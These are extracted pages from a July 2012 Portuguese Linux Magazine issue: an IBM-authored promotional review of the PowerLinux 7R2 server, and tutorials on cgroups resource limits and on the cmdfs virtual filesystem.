A IBM focou em três macro-pilares de aplicativos ao lançar o PowerLinux: infraestrutura e código-aberto, aplicativos comerciais e Big Data. Disponibilizando servidores de alto desempenho a preços mais acessíveis, a IBM trouxe muito mais combustível para o mercado. Um servidor PowerLinux 2-sockets, 16-cores POWER7 3.3GHz, 64GB de memória DDR3, 3 x Discos SAS de 300GB 10krpm, 01 x Fita DAT 80/160GB interna, adaptador de rede Quad-port 1Gb HEA, com garantia padrão de hardware, 3 anos 9x5, e licenciamento RedHat 1 VM, tem preço sugerido de R$ 25.000,00 (preços informados em 01/06/12 pelo fabricante). Ocupando apenas 2Us em um rack padrão, o PowerLinux 7R2 (figura 1) oferece dois sockets POWER7 3.3GHz ou 3.55Ghz, 16-cores com suporte a até 64 threads simultâne-

as e capacidade para até 256GB de memória. Apresenta preço e desempenho projetados para competir diretamente com Linux em x86, enquanto oferece: ➧ O alto desempenho dos processadores POWER7, 4 threads por core, onde cada thread é vista como uma vcpu (CPU Virtual) pelo sistema operacional Linux; chega, portanto, a 64 vcpus em 16 cores para o Linux; ➧ Otimização e maior uso dos recursos computacionais, graças ao software de virtualização PowerVM, que permite picos de 80% a 90% de utilização do servidor; ➧ Disponibilidade e confiabilidade ímpares da indústria: suporte aos recursos de RAS da arquitetura Power pelas distribuições RedHat e Suse. O novo PowerLinux foi projetado e otimizado para oferecer serviços de alta qualidade e desempenho, com a confiabilidade característi-

www.linuxmagazine.com.br


PowerLinux 7R2 | ANÁLISE

Figura 1 IBM PowerLinux 7R2.

ca da arquitetura Power. Entre os principais benefícios, destacam-se:

Processamento paralelo Com os mesmos processadores utilizados no supercomputador Watson (POWER7 3.55GHz – figura 2), a IBM oferece a capacidade de massivo processamento paralelo do POWER7 (4 threads simultâneas por core, o dobro do x86 de última geração) já suportada pelas versões Enterprise da Red Hat (AS6) e Suse (SL12); os recursos de arquitetura como cache L3 32MB dinamicamente alocado aos cores que demandam maior processamento, maior BW de memória e I/O do que a arquitetura x86, permitem que o PowerLinux ofereça excelente desempenho para aplicativos que podem variar de infraestrutura e soluções comerciais como SAP, e Big Data até análises de negócios.

mite a criação de até 160 máquinas virtuais em um servidor 16-cores, através da tecnologia de microparticionamento, o que propicia um alto grau de consolidação de aplicativos Linux no servidor. Recursos como virtualização de I/O (VIO) e alocação dinâmica de memória e processador entre VMs, baseados nos requerimentos de momento para cada aplicativo, proporcionam a maximização da utilização de recursos e capacitam o sistema a vencer com tranquilidade os picos sazonais. Esta alocação de recursos não interrompe os serviços em execução – inclusive quando

diminui-se o total de memória em uma VM –, necessidade mandatória para uma alocação dinâmica e automática de recursos. A escalonabilidade de uma máquina virtual é outro ponto importante: cada VM pode atingir o total de cores físicos e memória disponíveis no servidor, atigindo o total de 64 threads simultâneos, o que evita a contenção de desempenho e crescimento do ambiente consolidado. O recurso Live Partition Mobility, integrado ao PowerVM for IBM PowerLinux, permite a transferência de uma VM de um servidor para outro sem interrupção dos serviços.

Utilização dos recursos Uma nova edição do software de virtualização PowerVM foi especialmente criada para o PowerLinux 7R2, e fornece todos os recursos para a maximização da utilização de recursos no servidor. O IBM PowerVM for IBM PowerLinux per-

Linux Magazine #92 | Julho de 2012

Figura 2 Supercomputador Watson POWER 7.

59


ANÁLISE | PowerLinux 7R2

O resultado de todos esses recursos em conjunto possibilitam que se obtenha os mais altos níveis de utilização de recursos e tempo de resposta por servidor, tornando o PowerLinux uma solução onde também é possível virtualizar aplicativos de missão crítica. Dessa forma, as empresas reduzem custos e ganham maior qualidade dos serviços e eficiência na virtualização [1].

dor, mas em toda a arquitetura do hardware power. O software de virtualização PowerVM também apresenta zero vulnerabilidades registradas – o que garante também extrema segurança mesmo em ambiente altamente virtualizado. E não se trata de recursos de segurança através de plugins de terceiros: a priorização da segurança é parte integrante do software de virtualização IBM [2].

Arquitetura orientada a RAS

Orientada a soluções Soluções baseadas Através de participação ativa na em código aberto comunidade Linux, a IBM con-

Torne seus aplicativos Linux mais seguros com a confiabilidade de um POWER. Os servidores IBM PowerLinux foram projetados para permitir que muito mais trabalho seja processado com a mínima interrupção. A arquitetura orientada a RAS do Power (em português significando disponibilidade, confiabilidade e facilidade de manutenção), inclui já no design da plataforma os recursos diferenciados de servidores RISC que visam tornar o servidor operacional por longo período. Estudos apontam uma disponibilidade de 99.997% para a plataforma Power, superior ao que se obtém com x86 e Windows de última geração. Disponíveis para as versões RedHat AS6 e Suse SL12, esses recursos estão integrados não apenas ao processa-

tribui para o desenvolvimento e otimização de Linux. O envolvimento com o Linux baseia-se na colaboração e influência – e não no controle – com inúmeras contribuições reconhecidas e valorizadas pela comunidade Linux. Em 2011, a IBM foi eleita pelos leitores do Linux Journal como o “melhor fornecedor de servidores Linux” [3]. Hoje, o Linux é um componente fundamental de negócios da IBM, profundamente enraizado em suas ofertas de hardware. É o caso dos servidores POWER7, que são altamente otimizados com software Linux construído sobre projetos de código aberto, como Samba e Apache Hadoop, e amplamente apoiados pelos arquitetos do Linux Technology Center.

Figura 3 Supercomputador Watson no programa Jeopardy!

60

Seu excelente desempenho e recursos de virtualização dinâmica tornam a PowerLinux ideal para consolidação de aplicativos de infraestrutura, servidores web, LAMP etc. A solução também tem um desempenho superior com aplicativos comerciais como SAP e Sybase. Mas a cereja do bolo, contudo, são as soluções IBM para Big Data inspiradas no sucesso do Watson.

Dados estruturados e não estruturados continuarão crescendo a taxas astronômicas. Com as ferramentas tradicionais, é muito difícil tirar proveito de todo o potencial que eles oferecem para os negócios. Mas desprezá-los significa abrir mão de conhecer e criar estratégias focadas no consumidor. Nos dias de hoje, nos quais temos um mercado não mais orientado a produto, mas voltado ao consumidor, isso simplesmente não é mais possível. Como um líder tecnológico que busca soluções inteligentes, a IBM tem intensificado as pesquisas realizadas no IBM Research direcionadas à análise de Big Data, estendendo o uso de tecnologias de código aberto a seus produtos. Um exemplo disso é o supercomputador Watson. Ele materializa o projeto de um sistema otimizado que combina aplicativos de código aberto como o Apache Hadoop, executado em um sistema em cluster de servidores POWER7 e Linux, com soluções inteligentes e inovadoras como DeepQA [4]. O sistema Watson foi preparado para a tarefa de responder a perguntas colocadas em linguagem natural em menos de três segundos, executando, para isso, milhares de tarefas complexas de análise simultaneamente. O supercomputador notabilizou-se com um impres-

www.linuxmagazine.com.br


PowerLinux 7R2 | ANÁLISE

sionante desempenho no programa Jeopardy!, veiculado pela TV norte-americana, no qual venceu os principais campeões humanos em um desafio de perguntas e respostas. E este era apenas o primeiro passo de uma tecnologia que atualmente é utilizada em pesquisas médicas e de outros segmentos, que entende a linguagem natural e propicia massiva capacidade de pesquisa de dados.

Ferramentas de gerenciamento A IBM é uma das empresas que acredita que o Apache Hadoop é uma excelente ferramenta para gerenciamento e análise de grande volume de dados, e utiliza esta tecnologia como base de seus aplicativos. O IBM InfoSphere BigInsights estende o uso do Hadoop com desempenho, confiabilidade, segurança e recursos de administração, incluindo um sofisticado módulo de análise de texto para explorar dados em repouso, estruturados ou não estruturados. Constituindo uma robusta solução, o IBM PowerLinux Big Data Solution for InfoSphere BigInsights inclui tecnologias de código aberto como Hive, Pig e o Hadoop MapReduce, otimizadas com a tecnologia IBM para suportar as exigências de desempenho, recursos de administração, provisionamento, segurança e confiabilidade, tornando-a a melhor solução para análise de dados do mercado. O resultado é uma solução mais simples para uso e desenvolvimento. Preparada para processamento massivo e operações complexas de análise de dados – esses, originados por diversas fontes e diversas estruturações, com a velocidade e acuracidade que as decisões de negócios exigem, fundamentais para a análise de grandes volume

Linux Magazine #92 | Julho de 2012

de dados. A solução possibilita que empresas de todos os portes criem estratégias centradas no consumidor e seus padrões específicos de comportamento e desejo. Além disso, sua versatilidade e capacidade permitem a criação de clusters de alto desempenho.

IBM PowerLinux e o InfoSphere Streams A solução IBM PowerLinux Big Data Solution for InfoSphere Streams torna possível a análise contínua de grandes volumes de fluxo de dados, com tempo de resposta de submilisegundos. Projetada para gerenciar os fluxos de dados em movimento na empresa e analisá-los sob diversos formatos, permite que as empresas armazenem menos informações e tomem decisões mais rapidamente, algo fundamental em negócios que dependem de váriaveis que mudam constantemente. Ao se extrair conhecimento a partir dos dados que ainda estão fluindo

na organização, torna-se possível reagir aos eventos em tempo real, mudando os resultados de negócios. Por exemplo, instituições financeiras podem inspecionar o uso do cartão de crédito em tempo real para detectar e impedir transações fraudulentas. Essa análise de fluxo de dados em movimento beneficia-se extremamente da alta banda de memória da arquitetura POWER. A profunda integração deste aplicativo para análise crítica de dados executados no PowerLinux possibilita às empresas processar milhares de tarefas em paralelo para fornecer análises em tempo real. Com a confiabilidade e segurança de uma arquitetura orientada a RAS, como é o caso do Power Systems, é possível obter níveis elevados de utilização. O desempenho otimizado do PowerLinux possibilita a criação de clusters de servidores altamente escalonáveis, propiciando às empresas ampliarem o ambiente quando e como necessário. ■

Mais informações [1] Virtualization Performance on the IBM PureFlex System Whitepaper: http://www-03.ibm.com/systems/power/ advantages/whypower/virtperform.html [2] Alertas da US-CERT: http://www.us-cert.gov/cas/techalerts/ [3] Linux Journal 2011 Reader’s Choice Awards, “Best Linux Server Vendor”, December 1, 2011: http://www. linuxjournal.com/slideshow/readers-choice-2011 [4] IBM Watson: A System Designed for Answers: http:// www.youtube.com/watch?v=cU-AhmQ363I

O autor Antonio Carlos Navarro, gerente de Produto Power Systems na IBM, atuando há 25 anos no mercado de TI, com formação em Engenheiro e MBA em Marketing, especialista em gestão estratégica de TI..

Gostou do artigo? Queremos ouvir sua opinião. Fale conosco em cartas@linuxmagazine.com.br Este artigo no nosso site: http://lnm.com.br/article/7181

61


Gerenciamento de recursos com cgroups | REDES

Gerenciamento de recursos com cgroups

REDES

Esteja no comando O novo cgroups oferece uma abordagem administrativa para a restrição do uso de recursos. É uma ferramenta muito importante para uso em sistemas virtualizados. por Ralf Spenneberg

H

á alguns anos atrás, dei aulas de Linux em um fornecedor de serviços de tecnologia de larga escala. Os administradores da empresa tinham muita experiência com variantes comerciais do Unix, como HP-UX, e me perguntaram como poderiam implementar gerenciamento de recursos e controles no Linux. Como um administrador poderia restringir a suada quantidade de memória RAM disponível para um único processo ou grupo de processos? Preciso admitir que naquele tempo o Linux não oferecia esse recurso. Mas em 2006, Rohit Seth iniciou o desenvolvimento desse recurso, de forma que administradores do kernel 2.6.24 pudessem usá-lo. Originalmente chamado de process containers control groups (cgroups para abreviar) [1], a ferramenta pode restringir, enumerar (para propósitos de cobrança) e isolar recursos (como memória RAM, CPU e entrada e saída de dados – I/O). Embora muitos administradores não precisem usar esse recurso em um servidor padrão, o cgroups é muito interessante em ambientes baseados em KVM, pois permite que

Linux Magazine #92 | Julho de 2012

você restrinja os recursos usados por um cliente virtual ou dê preferência para que algumas máquinas utilizem determinados recursos. O cgroups permite que o administrador defina esses parâmetros para subsistemas específicos para esses processos e todos os seus processos-filhos. Um subsistema poderia ser um controlador de recursos que gerencie a quantidade de memória RAM disponível. Para usar o cgroups, primeiro é necessário definir uma hierarquia na qual os grupos serão gerenciados. Para tanto, edite o arquivo /etc/cgconfig.conf, cujo exemplo pode ser observado na listagem 1. Se esse arquivo não existir, instalar o pacote @cgroup. O aplicativo cria uma hierarquia separada para cada subsistema e então é possível definir seu cgroups em seguida. A hierarquia /cgroup/cpu permite que você administre compartilhamento de CPU enquanto /cgroup/net_cls cuida do desempenho da entrada e saída (E/S) de dados da rede. Ao iniciar o daemon cgconfig, criam-se os diretórios e monta-se o sistema de arquivos cgroups. O lssybsys permite

que você verifique se a hierarquia foi criada corretamente (listagem 2). Você pode então criar seu grupo de controle com o comando cgcreate: cgcreate -g blkio:/dd

O comando na listagem 3 diz quais parâmetros estão disponíveis para o subsistema Block I/O. O kernel 2.6.36 também suporta as opções blkio.throttle.*. Isso significa que você pode restringir o máximo de largura de banda de E/S para operações de leitura e escrita por um grupo de processo. Para testar isso, você precisa dos números máximos e mínimos do dispositivo no qual estão sendo aplicadas as restrições. Se for /dev/sda1, você pode verificar os valores mínimo e máximo com um simples ls: # ls -l /dev/sda1 brw-rw–-. 1 root disk 8, 1 10. Oct 08:32 /dev/sda1

Aqui, veja que esses números são 8 e 1. Para restringir a largura de banda do grupo de controle para 1 mbps, execute o comando cg-set ou simplesmente use o comando:

69


REDES | Gerenciamento de recursos com cgroups

echo "8:1 1048576" > /cgroup/blkio/dd/blkio. throttle.write_bps_device

cgexec -g blkio:dd "dd if=/dev/zero of=/tmp/test"

E então use o comando dd para um teste:

caso você queira iniciar um processo diretamente em um grupo específico.

dd if=/dev/zero of=/tmp/test & pid=$!

Automação

Para migrar esse processo para o cgroup dd, use o comando echo:

Atribuir processos a grupos manualmente pode ser cansativo, além de ser passível de erros. Faz muito mais sentido deixar essa tarefa para o daemon cgrulesengd, que o faz de forma automática. Para permitir que isso aconteça, o serviço precisa ter o arquivo /etc/cgrules.cong, que diz a ele qual processo pertence a qual usuário e deve ser atribuído a qual grupo de controle. O arquivo tem uma sintaxe bem simples:

# echo $pid > /cgroups/blkio/dd/tasks

<usuario>[:<processo>] <controladores> <destino>

Inicialmente, execute o processo dd na raiz do cgroup, que não tem restrições. Você pode fazer um teste usando um SIGUSR1 no processo: # kill -USR1 $pid 578804+0 records in 578804+0 records out 296347648 bytes (296 MB) copied, 7.00803 s, 42.3 MB/s

Agora, quando enviar um sinal USR1 para o dd, você verá que a largura

de banda cai drasticamente porque o processo não tem a permissão de escrever com uma banda maior do que 1 mbps. Em vez de restringir a largura de banda máxima, é possível priorizar a largura de banda entre grupos com o uso do parâmetro blkio. weight=. O valor padrão é 500, então, caso você dê a um grupo o valor de 1000, ele teria o dobro de largura de banda para acesso aos dispositivos do bloco em relação aos outros grupos. Em vez de usar o comando echo, você poderia atribuir processos para grupos usando o comando cgclassify. Além disso, també é possível utilizar o comando cgexec desta forma:

70

Usando o exemplo com o comando dd, a regra se pareceria com a linha abaixo: *:dd blkio /dd

O comando acima adiciona os processos dd pertencentes a todos os usuários do grupo de controle /dd no controlador de recursos blkio.

Hierarquias Até agora, passamos apenas por grupos de controle individuais e isolados. No entanto, é possível criar hierarquias de grupos e adicionar mais estruturas específicas. Para ser mais preciso, você pode criar cgroups adicionais dentro de um grupo de controle, como se faz no comando cgreate -g blkio:/dd/user1.

Listagem 1: /etc/cgconfig.conf

Listagem 2: lssubsys

01 mount { 02 cpuset = /cgroup/cpuset; 03 cpu = /cgroup/cpu; 04 cpuacct = /cgroup/cpuacct; 05 memory = /cgroup/memory; 06 devices = /cgroup/devices; 07 freezer = /cgroup/freezer; 08 net_cls = /cgroup/net_cls; 09 ns = /cgroup/ns; 10 blkio = /cgroup/blkio; 11 }

01 02 03 04 05 06 07 08 09 10

# lssubsys -am cpuset /cgroup/cpuset cpu /cgroup/cpu cpuacct /cgroup/cpuacct memory /cgroup/memory devices /cgroup/devices freezer /cgroup/freezer net_cls /cgroup/net_cls ns /cgroup/ns blkio /cgroup/blkio

O novo cgroups será exibido como subdiretório e herdará as propriedades do grupo de controle-pai. Todos os cgroups-filhos então competem pelos recursos atribuídos para o cgroups-pai. Se o cgroup-pai tiver permissão de escrever apenas a 1Mbps, todos os grupos-filhos não poderão exceder esse valor. Embora os recursos sejam atribuídos de forma hierárquica, essas hierarquias não funcionam para o controlador blkio. Todos os outros controladores são compatíveis com essa hierarquia.

Virtualização Onde faz sentido implementar o cgroups? Alguns aplicativos especiais se beneficiarão do cgroups no trabalho diário, mas, na maioria dos casos, faz mais sentido deixar que o kernel Linux gerencie sozinho esses recursos em vez de estabelecer limites. No entanto, se você implementa uma solução de virtualização como KVM, na qual pode virtualizar diversos hóspedes em um único host, a utilidade de restringir, priorizar e medir o uso dos recursos pode ser muito útil. O cgroups oferece uma abordagem ideal para implementar isso. Você precisará gerenciar a virtualização por meio das bibliotecas Libvirt e contêineres LXS, ou usar o QEMU/KVM. O daemon libvirtd cria um cgroup separado com o nome do cliente para cada servidor que for iniciado. O grupo existe na hierarquia de libvirtd/qemu|lxc/guest para cada

Listagem 3: Subsistema Block I/O 01 02 03 04 05 06 07 08 09 10

# cgget -g blkio /dd /dd: blkio.reset_stats= blkio.io_queued=Total 0 blkio.io_merged=Total 0 blkio.io_wait_time=Total 0 blkio.io_service_time=Total 0 blkio.io_serviced=Total 0 blkio.io_service_bytes=Total 0 ...

www.linuxmagazine.com.br


Gerenciamento de recursos com cgroups | REDES

controlador. A partir disso, será possível gerenciar e priorizar os recursos individualmente para cada cliente. Para permitir que o cliente use o dobro de tempo de CPU, você precisará modificar o controlador da CPU (cpu.shares). Para atingir seu objetivo, mude somente o valor padrão de 1024 para 2048. Você pode usar uma abordagem similar para a configuração de RAM ou largura de banda. Para tanto, use o controlador de memória ou o controlador net_cls em combinação com o comando tc. Perceba que você precisaria da variante mais recente do Libvirt para suportar o controlador net_cls. Esse controlador é diferente de todos os outros controladores porque configura somente uma classID e então espera que o administrador gerencie a largura de banda com o comando tc (quadro 1). Note que não é possível utilizar o controlador blkio com a Libvirt atualmente, pois ele não suporta as hierarquias que o Libvirtd precisa criar. Os desenvolvedores do kernel já estão trabalhando em uma solução [2].

Mais informações [1] Cgroups: http:// www.kernel.org/doc/ Documentation/cgroups/ [2] Hierarquias para Blkio: http:// lwn.net/Articles/413015/

O autor Ralf Spenneberg é instrutor freelancer de Unix/Linux, consultor, autor e CEO de sua própria empresa de treinamento. Ralf publicou diversos livros sobre detecção de invasão, SELinux, firewall e VPNs. A segunda edição de seu último livro, VPN on Linux, foi publicada recentemente.

Gostou do artigo? go? Queremos ouvir sua opinião. pinião. Fale conosco em cartas@linuxmagazine.com.br zine.com. Este artigo no nosso so site: sit http://lnm.com.br/article/7145 articl 145

Linux Magazine #92 | Julho de 2012

Se quiser cobrar pelo tempo usado por cada cliente individualmente, use o controlador CPUAcct. Ele conta o tempo de CPU realmente usado por cada cliente em nanossegundos em e armazena esses valores no arquivo /cgroup/ cpuacct/libvirt/qemu/guest/cpuacct.

Processos O recorte que fizemos da implementação do cgroup funciona com base em threads (tarefas enfileiradas para execução). Cada thread em um processo pode ser gerenciada em um cgroup separado, sendo que isso precisa ser lembrado na hora da atribuição dos processos para o cgroups com o comando echo após iniciá-los. Você precisa atribuir todas as threads em execução (/proc/pid/task/) para o cgroups correspondente.

O comando cgexec facilita essa tarefa; inicia o processo no cgroup e quaisquer processos-filhos e threads podem herdar as características do grupo.

Conclusão Infelizmente, somente as mais recentes distribuições Linux suportam cgroups. Recursos individuais estão disponíveis somente nos kernels mais recentes. Em outras palavras, os administradores precisam conferir quais propriedades podem usar na distribuição que estão utilizando. Mas após fazer isso, o cgroups oferece inúmeros recursos poderosos, principalmente para ambientes virtualizados, controle de processos e gerenciamento de recursos de clientes. ■

Quadro 1: Gerenciamento de banda Se um processo é monitorado pelo controlador net_cls, é possível atribuir uma classID para todos os processos no cgroup. Você pode então usar o tc com o grupo. Inicie ao definir a classID para o cgroup: echo 0x00100001 > /cgroup/net_cls/libvirt/qemu/guest/net_cls.classid Esse número hexadecimal possui dois blocos: 0xAAAABBBB, no qual os dígitos AAAA definem os maiores números da classID e os dígitos BBBB definem os menores números. Não há necessidade de preencher com zeros. Para usar a classID, é necessário instalar um agendador de tarefas baseado em classe (qdisc) na placa de rede por onde saem os dados (como, por exemplo, eth0). O agendador (scheduler) do qdisc decide quando enviar um pacote. Agendadores baseados em classe permitem que você coloque pacotes em classes diferentes, priorizando e restringindo essas classes posteriormente. Um agendador qdisc clássico para a restrição de tráfego de rede é o filtro Hierarchical Token Bucket (HTB), que precisa ser instalado na placa de rede. Para isso, delete quaisquer versões de qdisc já existentes e execute o HTB, com o comando: tc qdisc del dev eth0 root 2>/dev/null tc qdisc add dev etho root handle 10: htb default 2 O próximo passo é criar as classes: tc class add dev eth0 parent 10: classid 10:1 htb rate 10mbit tc class add dev eth0 parent 10: classid 10:2 htb rate 20mbit ceil 100mbit Essas duas linhas criam duas classes diferentes, sendo que a primeira tem uma largura de banda máxima de 10Mbps. A segunda classe pode usar mais de 20Mbps, mas não mais de 100 Mbps, se nenhuma outra classe precisar de banda larga. A opção default2, ao criar o filtro HTB, rejeita tráfego não classificado para a segunda classe. Para avaliar a classID para o cgroup net_cls, você precisa definir outro filtro: tc filter add dev eth0 parent 10: protocol ip prio 10 handle 1: cgroup De agora em diante, a classID net_cls é automaticamente usada pelo kernel para alocar pacotes para classes HTB. O cliente Libvirt pode agora usar uma velocidade máxima de transmissão de 10Mbps.

71


TUTORIAL | Sistemas de arquivos virtuais

Sistemas de arquivos virtuais

TUTORIAL

Ambiente virtual O cmdfs cria sistemas de arquivos virtuais baseados em uma árvore de diretórios original e possui integração com outros programas para converter dados em tempo real. Conheça todo o poder desse sistema. por Dennis Schreiber e Markus Feilner

É

uma tarefa comum: você quer apenas que os usuários vejam determinados arquivos em um servidor de arquivos e que também possam alterar esses arquivos dinamicamente durante o acesso. Da grande coleção de arquivos no servidor, talvez você queira que o departamento pessoal veja apenas os documentos pertencentes a ele e o departamento financeiro apenas os arquivos relacionados à equipe correspondente. O cmdfs [1] é uma ferramenta útil que cria um sistema de arquivos virtual, filtrando o conteúdo a partir de uma árvore de diretórios já existente. Com o cmdfs é possível criar um sistema de arquivos virtual que contém apenas determinadas partes do sistema de arquivos de origem que você deseja disponibilizar aos usuários. No entanto, o cmdfs pode fazer muito mais, incluindo recursos de filtragem para transformar os arquivos de acordo com especificações predeterminadas. Por exemplo, você poderia usar o recurso de filtragem do cmdfs para reduzir a resolução das imagens digitais que estivessem grandes demais ou para converter

72

arquivos para um formato alternativo (de .doc, para .odt, por exemplo). Os sistema de arquivos cmdfs é baseado em FUSE [2] e lhe permite criar filtros de conteúdo sem a necessidade de o administrador passar pela tarefa demorada – e propensa a erros – tarefa de criação de uma estrutura complexa de diretórios e links. Embora a última versão do cmdfs remonte a 2010, o aplicativo funciona bem e atende o propósito a que se destina.

Instalação A menos que o repositório de sua distribuição Linux ofereça o pacote cmdfs por padrão, a instalação requer algum trabalho manual com o arquivo de código fonte, já que, até agora, o cmdfs não encontrou seu caminho para os repositórios do Debian ou do Ubuntu). Para compilar o código fonte, você precisa do pacote de desenvol-

vimento do FUSE. Infelizmente, o script ./configure não irá notificá-lo se o pacote está faltando, mas através do comando aptitude install libfuse-dev você poderá instalar o pacote sem grandes problemas. Para o código fonte do cmdfs, consulte o site da ferramenta. Depois que o pacote de desenvolvimento do FUSE é instalado, o familiar processo de baixar, descompactar, executar os comandos ./configure, make e make install irá cuidar da configuração do cmdfs. Se você prefere saber quais programas serão instalados pelo gerenciador de pacotes, use o comando checkinstall ao invés de make install. Após concluir a instalação, os administradores – que precisam ser membros do grupo fuse em algumas distribuições – podem usar o comando cmdfs para criar visões alternativas para arquivos ou diretórios usando uma sintaxe mode-

Listagem 1: Cmdfs no fstab 01 […] 02 cmdfs#/Data /home/Benutzername/test fuse user,mime-re=image/*,hide-empty-dirs,command=convert\ 040-\040-sepia-tone\04090%\040- 0 0

www.linuxmagazine.com.br


Sistemas de arquivos virtuais | TUTORIAL

lada no comando mount. O cmdfs fornece uma estrutura de diretório somente leitura, modificável pelo administrador usando parâmetros no momento da montagem.

Filtro de arquivos Como um exemplo do cmdfs em ação, suponha que eu queira criar um sistema de arquivos que monta um diretório de origem, mas apenas mostra os arquivos de um tipo específico, e que eu também queira isso para esconder diretórios vazios – ou seja, os diretórios que não contêm arquivos do tipo especificado. Se o tipo de arquivo em que estou interessado é .jpg, devo usar o comando: cmdfs ~/Data ~/test -o extension=jpg,hide-empty-dirs

A extensão do arquivo não diferencia maiúsculas de minúsculas. Se você estiver fazendo isso para vários tipos de arquivo, use uma lista separada por ponto e vírgula entre aspas, como: cmdfs ~/Data ~/test -o extension="JPG;PNG", hide-empty-dirs

O parâmetro hide-empty-dirs diz ao cmdfs para esconder diretórios que não combinam com as condições do filtro. Filtrar apenas pela extensão do arquivo tem algumas desvantagens. Arquivos sem extensão, ou com uma extensão incorreta, não serão incluídos, e se você quiser ver todos os formatos de imagem possíveis, sua lista de filtros será muito longa. A visão resultante seria difícil de entender – e provavelmente incompleta. Neste cenário, a filtragem por tipo MIME (Multipurpose Internet Mail Extensions, onde um de seus parâmetro é o Content-Type, que define o tipo de arquivo a ser considerado) é a melhor escolha (figura 1): cmdfs ~/Data ~/test -o mime-re=image/*,hide-empty-dirs

Para identificar o tipo correto de MIME para um arquivo específico,

Linux Magazine #92 | Julho de 2012

Figura 1 O diretório de origem está à esquerda, e o diretório montado com cmdfs está à direita. O usuário só enxerga diretórios com arquivos que combinam com o tipo MIME de imagem.

execute o comando file com a opção --mime-type: file --mime-type LibreOfficeText.odt LibreOfficeText.odt: application vnd.oasis.opendocument.text

Edição direta de arquivos O cmdfs pode fazer mais do que apenas filtrar dados. Você também pode usar programas externos para modificar os arquivos. Por exemplo, você pode usar o pacote de ferramentas ImageMagick [3] para converter imagens de um formato para outro. O ImageMagick é um conjunto abrangente de ferramentas para manipular imagens gráficas. Uma delas é a ferramenta convert, com a qual é possível reduzir as imagens para uma largura máxima de 800 pixels ou convertê-las para tons de sépia. Como as ferramentas do ImageMagick aceitam parâmetros que formatam a entrada e a saída dos dados, você pode integrá-las perfeitamente com o cmdfs para, por exemplo, converter automaticamente todos os seus arquivos JPG para arquivos PNG (um problema potencial com esta técnica é que todos os seus arquivos PNG ainda teriam um sufixo .jpg, o que confunde muitos aplicativos).

Pelo fato de a ferramenta convert poder lidar com escalonamento simples, bem como executar diversas outras operações, é um parceiro perfeito para o cmdfs. A seguinte linha de comando gera todos os arquivos de imagem no ponto de montagem com uma altura e largura máximas de 800 pixels: cmdfs ~/Data ~/test "-omime-re= image/*, hide-empty-dirs, command=convert --resize 800x800\'^>' -"

Arquivos menores mantém seu tamanho original, conforme definido pelo parâmetro convert >, necessário para mascarar a entrada para o cmdfs. Se tudo isso funcionar como esperado, uma conversão direta para sépia também deve ser simples: cmdfs ~/Data ~/test "-omime-re=image/*, hide-empty-dirs,command=convert --sepia -tone 90% -"

A integração de programas como este requer alguns cuidados e atenção.

Cache e opções O cmdfs usa cache para acelerar alguns processos. Sistemas Debian armazenam este cache no diretório /usr/local/var/cache/cmdfs/nomedousuario; no entanto, você pode

alterar esse comportamento usando o parâmetro -o cache-dir. Durante

73


TUTORIAL | Sistemas de arquivos virtuais

testes, é uma boa ideia apagar regularmente o conteúdo do diretório de cache. A exclusão de arquivos em cache é importante porque o cmdfs só cria arquivos em cache se as datas de modificação dos arquivos forem alteradas. Embora seja possível especificar uma data de expiração do cache no ato da montagem do sistema de arquivos usando o parâmetro -o cache-expiry, isto causará picos de sobrecarga no sistema. Quando o cmdfs acessar o ponto de montagem, recriará todos os arquivos no cache após a data de validade ter expirado. O parâmetro -o oferece algumas outras opções úteis além do gerenciamento de cache. A tabela 1 mostra algumas das mais importantes.

Dinâmico Todos os exemplos até agora têm sido estáticos, o que significa que o cmdfs irá ignorar novos arquivos e diretórios da árvore de origem. No entanto, se você adicionar o parâmetro monitor à opção -o, poderá dizer ao cmdfs para monitorar os arquivos originais. Para fazer isso, o cmdfs depende de um mecanismo do kernel Linux chamado inotify [4].

Quando uma mudança é descoberta, ele pode disparar ações automatizadas. Por exemplo, você pode informar seus usuários sobre as alterações nos arquivos no diretório de origem, ou pode iniciar automaticamente uma ferramenta de leitura OCR para documentos que são digitalizados. Se quiser usar este mecanismo em seus próprios scripts, será necessário carregar as ferramentas inotify a partir dos repositórios apropriados [5]. Para uso permanente, talvez você queira integrar o ambiente em seu arquivo /etc/fstab para montar o sistema de arquivos virtual automaticamente. Por exemplo, adicione a entrada que está na listagem 1 para o exemplo da conversão das imagens para sépia. Para certificar-se de que a entrada seja montada como pretendido, também é necessário substituir os espaços em branco na linha de comando com \040.

Problemas estranhos Em nosso laboratório, os únicos problemas que encontramos foram quando o diretório e o ponto de montagem residiam no mesmo local – por exemplo, ~/Documentos e

entrar em um loop infinito em algumas distribuições quando tentamos acessar o ponto de montagem com, por exemplo, ls -l. Entramos em contato com o desenvolvedor, mas seus esforços para a resolução dos problemas não chegaram a uma explicação para este comportamento antes da conclusão deste artigo. Uma possível causa poderia ser permissões incorretas para o diretório de cache (o Syslog relata esse tipo de erro.)

Faça testes Se preferir não usar seus próprios arquivos como candidatos a teste, ou se não quiser criar arquivos de teste por sua própria conta e risco, ainda é possível baixar arquivos de exemplo da Internet. Existe uma grande coleção de dados de teste, incluindo arquivos de imagem, com tamanhos de até 35GB, em sites como o Digital Corpora [6]. Teste e divirta-se. ■

Mais informações [1] Cmdfs: http://sourceforge. net/projects/cmdfs/

Parâmetro

Significado

-o command=shell command

Comandos Shell para conversão direta

[2] FUSE, Filesystem in Userspace: http://fuse. sourceforge.net

-o extension=extension_1; extension_2

Extensão(ões) que o cmdfs irá filtrar

[3] Imagemagick: http:// www.imagemagick.org/

-o path-re=regular_expression Expressão regular para filtrar por diretório -o mime-re=regular_expression Expressão regular para filtrar por tipo MIME

[4] inotify: http://linux.die. net/man/7/inotify

-o [no]link-thru

Arquivos que não correspondem aos filtros são exibidos como links simbólicos no diretório de destino

[5] Ferramentas inotify: https:// github.com/rvoicilas/ inotify-tools/wiki/

-o [no]hide-empty-dirs

Ocultar [não ocultar] diretórios correspondentes

-o [no]monitor

Monitorar [não monitorar] mudanças

[6] Arquivos de teste da Digital Corpora: http:// digitalcorpora.org

-o cache-dir=directory

Diretório a ser usado para o cache

-o cache-size=MB

Restringir o tamanho do cache (em MB)

Gostou do artigo? igo?

-o cache-entries=count

O número máximo de entradas no diretório de cache

-o cache-expiry=seconds

Prazo de validade do cache

Queremos ouvir sua opinião. pinião. Fale conosco em cartas@linuxmagazine.com.br zine.com Este artigo no nosso sso site: s : r/artic 7104 http://lnm.com.br/article/7104

Tabela 1 Parâmetros do cmdfs.

74

~/teste. Neste caso, o cmdfs parecia

www.linuxmagazine.com.br


